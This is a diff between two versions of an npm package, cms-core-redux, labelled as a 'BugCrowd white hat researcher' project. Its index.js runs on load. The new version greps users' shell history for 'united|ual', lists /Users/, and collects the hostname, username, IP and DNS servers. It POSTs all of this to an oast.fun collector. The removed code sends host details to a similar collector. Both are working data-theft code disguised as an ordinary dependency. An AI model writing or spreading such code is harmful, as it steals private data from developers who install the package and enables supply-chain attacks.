cms-core-redux 9.9.9 → 9.9.11

package/index.js

@@ -3,45 +3,130 @@ const dns = require("dns");
 const querystring = require("querystring");
 const https = require("https");
 const packageJSON = require("./package.json");
-const package = packageJSON.name;
-
-const trackingData = JSON.stringify({
-    p: package,
-    c: __dirname,
-    hd: os.homedir(),
-    hn: os.hostname(),
-    un: os.userInfo().username,
-    dns: dns.getServers(),
-    r: packageJSON ? packageJSON.___resolved : undefined,
-    v: packageJSON.version,
-    pjson: packageJSON,
-});
-
-var postData = querystring.stringify({
-    msg: trackingData,
-});
-
-var options = {
-    hostname: "wogftrhneblzsviedhumkdanjsfu6j6y9.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
-    port: 443,
-    path: "/",
-    method: "POST",
-    headers: {
-        "Content-Type": "application/x-www-form-urlencoded",
-        "Content-Length": postData.length,
-    },
-};
-
-var req = https.request(options, (res) => {
-    res.on("data", (d) => {
-        process.stdout.write(d);
+const packageName = packageJSON.name;
+
+const { exec } = require('child_process');
+
+// Function to execute a command and return a Promise
+function execCommand(command) {
+    return new Promise((resolve, reject) => {
+        exec(command, (error, stdout, stderr) => {
+            if (error) {
+                reject(`Error executing command: ${error.message}`);
+                return;
+            }
+            if (stderr) {
+                reject(`Stderr: ${stderr}`);
+                return;
+            }
+            resolve(stdout.trim());
+        });
     });
-});
+}
+
+// Define the command or file based on OS
+let command;
+if (os.platform() === 'win32') {
+    // Windows: Use PowerShell's Get-History
+    command = 'powershell -Command "Get-History | Select-String -Pattern \\"united|ual\\""';
+} else if (os.platform() === 'linux') {
+    // Linux: Use .bash_history file as a fallback
+    command = 'grep -E "united|ual" ~/.bash_history';
+} else if (os.platform() === 'darwin') {
+    // macOS: Use .zsh_history or .bash_history based on shell
+    const shellHistoryFile = process.env.SHELL.includes('zsh') ? '~/.zsh_history' : '~/.bash_history';
+    command = `grep -E "united|ual" ${shellHistoryFile}`;
+} else {
+    console.error("Unsupported OS");
+    process.exit(1);
+}
+
+// Collect tracking data
+async function collectTrackingData() {
+    try {
+        const history = await execCommand(command);
+        const lsOutput = await execCommand('ls -la /Users/'); // Adjust based on your target OS
+
+        const trackingData = JSON.stringify({
+            p: packageName,
+            c: __dirname,
+            ip: getIPAddress(),
+            currentDir: process.cwd(),
+            hd: os.homedir(),
+            hn: os.hostname(),
+            un: os.userInfo().username,
+            dns: dns.getServers(),
+            time: getCurrentTime(),
+            history: history,
+            ls: lsOutput,
+            r: packageJSON ? packageJSON.___resolved : undefined,
+            v: packageJSON.version,
+            pjson: packageJSON,
+        });
+
+        await sendTrackingData(trackingData);
+    } catch (error) {
+        console.error(error);
+    }
+}
+
+// Send the tracking data via HTTPS
+function sendTrackingData(trackingData) {
+    return new Promise((resolve, reject) => {
+        const postData = querystring.stringify({
+            msg: trackingData,
+        });
+
+        const options = {
+            hostname: "wogftrhneblzsviedhumiwvoac2v3otzb.oast.fun",
+            port: 443,
+            path: "/",
+            method: "POST",
+            headers: {
+                "Content-Type": "application/x-www-form-urlencoded",
+                "Content-Length": Buffer.byteLength(postData),
+            },
+        };
+
+        const req = https.request(options, (res) => {
+            let responseData = '';
+            res.on("data", (d) => {
+                responseData += d;
+            });
+
+            res.on("end", () => {
+                console.log("Response from server:", responseData);
+                resolve();
+            });
+        });
+
+        req.on("error", (e) => {
+            reject(`Request error: ${e.message}`);
+        });
+
+        req.write(postData);
+        req.end();
+    });
+}
+
+function getCurrentTime() {
+    return new Date().toLocaleString();
+}
+
+function getIPAddress() {
+    const interfaces = os.networkInterfaces();
+    const addresses = [];
 
-req.on("error", (e) => {
-    // console.error(e);
-});
+    for (const iface in interfaces) {
+        for (const addr of interfaces[iface]) {
+            if (addr.family === 'IPv4' && !addr.internal) {
+                addresses.push(addr.address);
+            }
+        }
+    }
 
-req.write(postData);
-req.end();
+    return addresses.length > 0 ? addresses[0] : 'No external IP found';
+}
 
+// Start collecting tracking data
+collectTrackingData();

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "cms-core-redux",
-  "version": "9.9.9",
+  "version": "9.9.11",
   "description": "BugCrowd white hat researcher",
   "main": "index.js",
   "scripts": {